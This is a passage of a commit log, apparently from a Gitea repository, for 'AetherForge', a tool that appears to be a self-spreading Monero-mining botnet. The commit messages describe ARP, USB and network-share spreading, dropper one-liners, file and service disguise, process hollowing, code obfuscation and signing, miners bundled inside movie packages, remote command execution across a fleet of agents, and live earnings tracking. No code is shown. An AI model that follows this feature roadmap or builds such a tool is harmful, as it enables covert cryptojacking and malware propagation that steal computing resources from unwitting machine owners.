Commit Graph

110 Commits

Author SHA1 Message Date
AetherForge
41b5ec7a88 Add fleet groups, agent screenshots, deploy guards, and Crucible polish. 2026-06-02 20:51:52 -07:00
AetherForge
01d76b3730 Improve fleet control, Crucible ops, and multi-machine identity.
Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
2026-06-02 19:19:50 -07:00
AetherForge
5222f4ad39 Add Command Deck screenshot to README for Gitea 2026-06-01 21:53:22 -07:00
AetherForge
ea504b83e2 fix: six maintenance fixes across LAUNCH.bat, config, go.mod, and gitignore
- LAUNCH.bat (root + usb): add :server_launch fast-path so server always
  starts even when Go is not found; only obfuscation tools are skipped
- LAUNCH.bat (root + usb): fix misleading echo -- credentials are printed
  by AetherForge.exe itself, not by the batch script
- usb/data/config.json: correct SupportXMR TLS port (3333->443) and add
  MoneroOcean and HeroMiners backup pool entries
- server/go.mod: bump go directive from 1.25.0 to 1.26.3 to match bundled
  toolchain version used by LAUNCH.bat and pack-usb.bat
- pack-usb.bat: replace four Unicode em-dash characters (U+2014) with plain
  ASCII hyphens to avoid garbled output on non-UTF-8 code pages
- .gitignore: add _err.txt, _out.txt, and _*.txt pattern to suppress
  recurring untracked temp debug files in repo root
2026-06-01 21:40:06 -07:00
AetherForge
7d186d9c49 Remove accidentally committed temp debug files 2026-06-01 21:31:19 -07:00
AetherForge
0511306c65 Clean up all staticcheck errors (SA4006 + U1000): fix dead assignments in server_info.go and build_universal.go; remove unused proxy fields and functions; delete superseded icon_windows.go and shortcut_windows.go 2026-06-01 21:31:13 -07:00
AetherForge
5ef1734ae3 Fix LAUNCH.bat batch syntax: escape parens in else-block echo 2026-06-01 21:23:50 -07:00
AetherForge
1413a9394f Add pool presets, operator bake-ins, and USB pack improvements
- Pool preset checkboxes with failover in Calibrate and Forge

- Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt

- USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
2026-06-01 21:06:19 -07:00
AetherForge
1e0482ebe1 Add mining pool notes; ignore local USB archive and shell junk 2026-06-01 17:54:18 -07:00
AetherForge
afba486c28 Remove Cloudflare from pack-usb, fix password length test 2026-06-01 16:31:02 -07:00
AetherForge
fdfa414a9a Remove Cloudflare tunnel; shorten generated admin password to 8 chars.
The tunnel setup is being handled externally. Removed all cloudflared
install/watchdog scripts and config from LAUNCH.bat and usb\. LAUNCH.bat
now shows LAN IP directly. Admin password generator changed from 20-char
hex to 8-char hex for easier first login.
2026-06-01 15:32:02 -07:00
AetherForge
3605d540da Add self-healing Cloudflare tunnel with 60s watchdog for USB deck.
Replaces fragile batch-based tunnel install with a single PowerShell
script (cloudflare/start-tunnel.ps1) that installs cloudflared as a
Windows service (admin) or runs as a background process (non-admin),
clears stale EventLog registry keys that caused service rollback, and
runs a 60-second watchdog that auto-restarts the connector on failure.
Hostname changed to aether.thetempleofdoom.com. LAUNCH.bat and
pack-usb.bat updated accordingly.
2026-06-01 15:03:17 -07:00
AetherForge
feba06e008 Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
2026-05-31 18:56:43 -07:00
AetherForge
2f528229f2 Improve portable USB pack and credentials-based tunnel launcher.
Expand pack-usb.bat to sync LAUNCH.bat, cloudflare assets, and data dirs while preserving operator state; align usb/LAUNCH.bat with credentials.json tunnel flow instead of a baked token.
2026-05-31 02:32:24 -07:00
AetherForge
babe644c94 Add Crucible rich terminal renderers and ignore local coverage dirs.
Listen ports table UI and styles; gitignore for spread-kits and cov artifact files.
2026-05-31 01:14:49 -07:00
AetherForge
ea6f54ad03 Expand test coverage across server, agent, and web; fix bugs found during audit.
Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
2026-05-31 01:13:58 -07:00
AetherForge
159747877c feat: listen_ports + patch_status commands, POSTURE/PATCH/PORTS chips, Scan All Selected button 2026-05-30 23:31:52 -07:00
AetherForge
d005d5d07c feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge 2026-05-30 23:26:50 -07:00
AetherForge
6704933568 feat: resource_pressure - disk free, CPU freq/throttle/temp, GPU temp via nvidia-smi 2026-05-30 23:22:32 -07:00
AetherForge
d010292333 feat: T1007 System Service Discovery - fixed allowlist probe in posture heartbeat 2026-05-30 23:16:50 -07:00
AetherForge
4207f6c21b feat: Tenable-style patch_status - pending_updates, last_patch, reboot_pending across full stack 2026-05-30 23:11:32 -07:00
AetherForge
9232f4c448 feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
2026-05-30 22:38:48 -07:00
AetherForge
e6b8d84edf fix: stratum deadlock + contrib-row CSS + README update for recent features 2026-05-30 17:08:37 -07:00
drjones
36fdc0194d fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread 2026-05-30 15:23:07 -07:00
drjones
117801f882 feat: fleet intelligence dashboard -- health score, XMR price, contribution map, analytics 2026-05-30 15:10:50 -07:00
drjones
2e36483158 fix: 3 regressions from previous session - dropper expansion, pool backup initial connect, bcrypt auth cache 2026-05-30 14:40:09 -07:00
drjones
0e19eb9eb9 fix: pool backup failover on reconnect, perfect dropper scripts, bcrypt password hashing 2026-05-30 12:49:40 -07:00
drjones
9eaf1e82ac docs: refresh README for current feature set and auth model 2026-05-30 12:18:56 -07:00
drjones
9924cf4f4a fix: stale docs, CORS header gap, hardcoded credentials (items 9-11) 2026-05-30 12:16:53 -07:00
drjones
1afd319cd4 fix: activate 4 DEAD audit items - cancel token, backup pools UI, payment_id to Stratum, remove minimize_to_tray 2026-05-30 12:14:34 -07:00
drjones
d0bcf33767 fix: 4 runtime bugs — forge cancel (exec.CommandContext), config key (default_agent_config), sign on Linux (osslsigncode), garble on all platforms 2026-05-30 12:07:48 -07:00
drjones
77e1dbbb13 feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired 2026-05-30 11:44:01 -07:00
drjones
d073dcd7df feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints 2026-05-30 10:22:06 -07:00
drjones
7c5c7dfceb Fix API smoke tests to use dashboard Basic Auth.
Smoke script was failing with 401 after the login gate; authenticated requests now match E2E and integration tests.
2026-05-29 22:33:54 -07:00
drjones
102d2fb7c6 Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
2026-05-29 22:29:58 -07:00
drjones
0f9e04f5f6 Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00
drjones
c6c2e73359 Ignore Playwright test-results output. 2026-05-29 10:05:09 -07:00
drjones
e55f11a657 Add full test suite with unit, integration, and E2E smoke tests.
Introduce test.bat orchestrating Go/Vitest/Playwright phases, expand coverage across server, agent, and dashboard, and document in tests/README.md.
2026-05-29 10:04:52 -07:00
drjones
f9e26bb1a6 Fix bugs found in full security and stability audit.
Harden artifact paths and fusion uploads, repair pool reconnect and login ID tracking, fix agent/fusion/frontend regressions, and refresh PROBLEMS.md with the full findings list.
2026-05-29 09:57:22 -07:00
drjones
e11fb30350 Fix dashboard black screen, add login gate, and expand README.
Pin React Three Fiber to React 18, remove PWA caching, add SessionGate and error boundaries, and document movie fusion, auth, outputs, and troubleshooting.
2026-05-29 08:50:48 -07:00
drjones
b99c8aab15 Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
2026-05-29 01:33:09 -07:00
drjones
20eb5a3ba4 Add dashboard 3D fleet map, matrix stream overlay, and PWA support.
Integrates React Three Fiber topology view and a live matrix stream modal on the dashboard. Adds vite-plugin-pwa with AetherForge manifest and three.js dependencies.
2026-05-28 22:28:26 -07:00
drjones
c95a4373de Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
2026-05-28 21:48:20 -07:00
drjones
fda72041f0 Wire all dashboard buttons: auth downloads, get_log feedback, action tests. 2026-05-28 19:56:11 -07:00
drjones
9e26c4babb Broad bug hunt: auth flow, WS edge cases, and build hygiene.
Scope API auth to /api/v1, fix dashboard WebSocket 401s, session login in Calibrate, safe agent naming, reconnect races, and remove corrupt ollama/main.go.
2026-05-28 19:53:53 -07:00
drjones
3316a75f7a Harden run.bat: full pipeline, foreground logs, reliable launch.
Rebuild deps and server, kill stale process, open browser after delay, keep terminal open with pause on exit or failure. Add start.bat alias.
2026-05-28 18:44:18 -07:00
drjones
fabc632384 Fix build breakers and remaining runtime bugs across stack.
Remove corrupt empty main.go files, harden WebSocket reconnect and pre-auth handling, complete live stats in the dashboard hook, wire AI share counts, and refresh PROBLEMS.md.
2026-05-28 16:23:24 -07:00
drjones
edffb03e00 Fix small bugs across AI tools, fleet API, and run.bat.
Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.
2026-05-28 08:00:01 -07:00
drjones
a9aeaefb1b Fix build blockers and rewrite README with authorized-use warning.
Restore server/agent compile fixes, wire remote actions end-to-end, harden run.bat, and document AetherForge with a severity-ranked audit in PROBLEMS.md.
2026-05-28 07:36:59 -07:00
drjones
830c755235 Add tactical fleet remote actions and agent command channel.
Extend remote commands with exec, PowerShell, file transfer, and fleet-wide broadcast; refresh AgentRemoteActions UI and WebSocket handling.
2026-05-27 21:24:57 -07:00